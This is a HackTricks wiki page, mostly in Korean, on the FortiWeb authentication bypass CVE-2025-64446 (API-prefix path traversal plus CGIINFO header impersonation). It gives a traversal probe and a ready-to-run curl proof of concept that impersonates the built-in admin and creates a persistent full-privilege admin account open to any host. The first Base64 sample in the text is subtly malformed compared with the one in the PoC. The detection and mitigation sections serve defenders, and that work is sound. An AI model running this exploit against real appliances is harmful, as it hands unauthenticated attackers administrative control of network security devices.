Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
Fortinet FortiWeb는 /cgi-bin/fwbcgi에 중앙화된 CGI dispatcher를 노출합니다. 두 개의 취약점 체인을 통해 인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:
- 유효한 API prefix로 URL을 시작하고 traversing directories하여
fwbcgi에 접근할 수 있습니다. - CGI가 신원으로 신뢰하는 특수 HTTP 헤더를 제공하여 모든 사용자(내장
admin포함)를 사칭할 수 있습니다.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). 실제 공격 사례에서는 영구적인 admin 사용자 계정을 생성하기 위해 악용된 것이 관찰되었습니다.
영향을 받는 버전(공개 문서 기준):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2는 아래의 traversal probe에 대해 HTTP 403을 반환합니다.
빠른 취약점 프로브
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- 해석: HTTP 200 → 취약 가능성 높음; HTTP 403 → 패치됨.
근본 원인 연쇄
- API-prefix path traversal to internal CGI
- 유효한 FortiWeb API 접두사(예:
/api/v2.0/cmdb/또는/api/v2.0/cmd/)로 시작하는 모든 요청 경로는../를 통해/cgi-bin/fwbcgi로 이동할 수 있습니다.
- Minimal-body validation bypass
fwbcgi에 도달하면 첫 번째 관문이 per-path 파일(/var/log/inputcheck/아래)을 기준으로 하는 관대한 JSON 검사를 수행합니다. 파일이 없으면 검사는 즉시 통과됩니다. 파일이 존재하면 바디는 유효한 JSON이면 충분합니다. 최소한의 유효 바디로{}를 사용하세요.
- Header-driven user impersonation
- 프로그램은 CGI 환경 변수
HTTP_CGIINFO(HTTP 헤더CGIINFO에서 유래)를 읽고, Base64로 디코딩한 뒤 JSON을 파싱하여 속성들을 로그인 컨텍스트에 직접 복사하고 도메인/VDOM을 설정합니다. 관심 있는 키: username,loginname,vdom,profname- 내장 admin 계정을 가장하기 위한 예시 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
위의 Base64 (실제 환경에서 사용되는):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end abuse pattern (unauthenticated → admin)
- API-prefix traversal을 통해
/cgi-bin/fwbcgi에 도달. - 입력 검증을 통과하기 위해 임의의 유효한 JSON 본문(e.g.,
{})을 제공. - 헤더
CGIINFO: <base64(json)>를 전송하는데, 여기서 JSON은 대상 식별 정보를 정의함. fwbcgi가 요구하는 백엔드 JSON을 POST하여 권한 있는 작업(예: 지속성을 위한 admin 사용자 생성)을 수행.
간단한 cURL PoC
- traversal 노출 검사:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin을 가장하여 새로운 local admin user를 생성:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
참고:
/var/log/inputcheck/<path>.json가 존재하지 않으면 Any valid JSON body suffices (예:{}).- The action schema는 FortiWeb 내부 전용입니다; 위 예시는 로컬 admin을 전체 권한으로 추가합니다.
탐지
/cgi-bin/fwbcgi에 도달하는 요청이../를 포함한 API-prefix 경로를 통해 전달되는 경우 (예:/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).CGIINFO헤더가 존재하며 Base64 JSON에username/loginname/vdom/profname키를 포함하고 있는 경우.- 백엔드 아티팩트:
/var/log/inputcheck/아래의 경로별 파일들 (gate configuration).- 예기치 않은 admin 생성 및 구성 변경.
- 빠른 검증: traversal probe가 200을 반환하면 노출, 403을 반환하면 (fixed builds에서) 차단됨.
완화
- 공급업체 권고에 따라 fixed release로 업그레이드하세요(예: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
- 패치 적용 전까지:
- FortiWeb management plane을 신뢰되지 않는 네트워크에 노출하지 마세요.
- reverse-proxy/WAF 규칙을 추가하여 차단하세요:
/api/로 시작하고../cgi-bin/fwbcgi를 포함하는 경로들.CGIINFO헤더를 포함한 요청들.- 위의 탐지 지표들을 모니터링하고 경고를 설정하세요.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

